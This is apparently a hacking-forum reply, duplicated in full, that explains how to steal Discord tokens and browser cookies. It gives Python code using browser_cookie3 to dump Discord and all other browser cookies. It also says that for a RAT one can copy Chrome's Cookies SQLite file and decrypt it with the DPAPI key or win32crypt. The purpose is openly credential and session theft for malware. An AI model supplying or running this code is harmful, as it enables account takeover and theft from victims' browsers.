For Discord specifically you want the token, not all cookies.
Use browser_cookie3 lib in Python:
Code:
import browser_cookie3
# Get Discord cookies only
cookies = browser_cookie3.chrome(domain_name='discord.com')
for c in cookies:
print(c.name, c.value[:20])
# Get ALL cookies from browser
all_cookies = browser_cookie3.chrome()
for c in all_cookies:
print(c.domain, c.name, c.value[:20])
If you need it for a RAT, just grab the entire Cookies SQLite file from:
Code:
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
Then decrypt with Chrome DPAPI key. Or use the sqlite3 + win32crypt modules to decrypt it directly.
For a simpler approach, use the
browser_cookie3 GitHub — it handles decryption automatically.
For Discord specifically you want the token, not all cookies.
Use browser_cookie3 lib in Python:
Code:
import browser_cookie3
# Get Discord cookies only
cookies = browser_cookie3.chrome(domain_name='discord.com')
for c in cookies:
print(c.name, c.value[:20])
# Get ALL cookies from browser
all_cookies = browser_cookie3.chrome()
for c in all_cookies:
print(c.domain, c.name, c.value[:20])
If you need it for a RAT, just grab the entire Cookies SQLite file from:
Code:
%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies
Then decrypt with Chrome DPAPI key. Or use the sqlite3 + win32crypt modules to decrypt it directly.
For a simpler approach, use the
browser_cookie3 GitHub — it handles decryption automatically.